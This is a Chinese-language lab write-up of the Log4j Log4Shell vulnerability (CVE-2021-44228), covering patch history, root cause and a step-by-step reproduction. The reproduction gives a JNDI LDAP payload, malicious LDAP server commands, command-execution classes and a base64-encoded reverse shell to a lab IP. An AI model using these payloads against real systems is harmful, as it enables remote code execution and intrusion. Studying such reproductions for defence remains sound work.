CVE 2021-44228 Log4j-2命令執行復現及分析
12月11日:Apache Log4j2官方釋出了2.15.0 版本,以修復CVE-2021-44228。雖然 2.15.0 版本解決了Message Lookups功能和JNDI 訪問方式的問題,但 Log4j團隊認為預設啟用 JNDI 存在安全風險,且2.15.0版本存在CVE-2021-45046漏洞。
12月13日:Apache Log4j2官方釋出了Log4j 2.16.0版本(Java 8或更高版本),該版本刪除了Message Lookups功能並預設禁用JNDI功能,並從該版本開始預設禁用JNDI功能,但可以通過將log4j2.enableJndi設定為 true 以啟用 JNDI。此外,Log4j現在將協議預設限制為僅java、ldap和ldaps,並將ldap協議限制為只能訪問Java原始物件。本地主機以外的主機需要被明確允許。
12月15日:Apache Log4j2官方釋出了Apache Log4j 2.12.2版本,該版本修復了CVE-2021-44228和CVE-2021-45046,適用於仍在使用Java 7的使用者。
漏洞描述
Apache Log4j2是一個基於Java的日誌記錄框架。正常情況下,開發者可能會將錯誤資訊寫入日誌中,可以利用此特點構造特殊的資料請求包,最終觸發遠端程式碼執行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。
受影響版本
Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1
Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.
注意:2.15.0-rc1 rc1被繞過是說漏洞點確實可以被繞過,但是rc1已經默認了log4j2.formatMsgNoLookups為true 只要不是手賤那也沒啥問題
原理分析
該漏洞主要是由於日誌在列印時當遇到“${”後,以“:”號作為分割,將表示式內容分割成兩部分,前面一部分prefix,後面部分作為key,然後通過prefix去找對應的lookup,通過對應的lookup例項呼叫lookup方法,最後將key作為引數帶入執行,引發遠端程式碼執行漏洞。
漏洞點
LogManager.getLogger().error() LogManager.getLogger().fatal()
如圖如下協議方式都可以利用
com.sun.jndi.rmi.object.trustURLCodebase 設為true 可以在高版本jdk觸發漏洞。
logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error級別的更容易觸發,如果不列印info級別資訊,則info級別不能觸發漏洞。所以優先用error觸發。
影響應用
可能的受影響應用包括但不限於如下:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr 左邊第三個選項,rename
Apache Flink
Apache Druid 一個最上面的框,一個左邊第三個選項中新增的框
ElasticSearch
flume
dubbo
Redis
logstash
kafka
漏洞復現
Idea搭建
新建maven工程,pom.xml中引入log4j2依賴:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
Payload.java 注意區分大小寫
import java.io.IOException;
public class Payload {
public Payload() {
//直接在構造方法中執行計算器
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
該exp用於彈出計算器,驗證命令執行效果。
test.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test {
public static final Logger logger = LogManager.getLogger(test.class);
public static void main(String[] args){
logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意區分大小寫
}
}
手動將exp.java生成位元組碼檔案,並通過python搭建簡易web用於外部訪問:
再開一個惡意的ldap服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998
注意區分大小寫
執行test.java,可以看到ldap服務和web服務都有訪問記錄:
並且有計算器彈出來,命令執行成功:
併產生了一條錯誤日誌
docker復現
docker pull registry.cn-angzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh
執行完以上操作,可以訪問存在Apache Log4j遠端程式碼執行漏洞,這裡192.168.32.168的ip地址是我安裝了docker虛擬機器的ip地址,url如下:
http://192.168.32.168:8888/webstudy/hello-fengxuan
由於該漏洞是jndi載入ldap協議就可以觸發漏洞,使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行ldap協議監聽,並提前輸入好需要執行的命令,命令如下:
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
-C後面新增的是需要執行的命令
-A後面是監聽的IP地址
只要根據JDK的版本,提交不同的ldap
如果JDK 是1.7,可以使用
ldap://192.168.32.1:1389/sjrchi 這個連結是根據自己上面起的ldap服務生成的連結
如果JDK 是1.8,可以使用
ldap://192.168.32.1:1389/fojm7q 這個連結是根據自己上面起的ldap服務生成的連結
通過BurpSuite提交資料包,由於url只接受需POST資料,受影響的引數是c,在驗證的時候,一定要加入
Content-Type:application/x-www-form-urlencoded;
已經接收到ldap協議資料
如果Apache Log4j遠端程式碼執行漏洞成功,就會執行命令touch /tmp/88888888888,在tmp目錄下建一個88888888888檔案
進入docker環境漏洞靶場,檢視命令是否執行成功,檔案成功被建立
docker exec -it log4j_vuln_container /bin/bash
ls /tmp
通過修改-C裡面的命令內容,獲取shell
對bash -i >& /dev/tcp/192.168.32.1/220>&1命令進行加密處理
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1
成功獲取shell。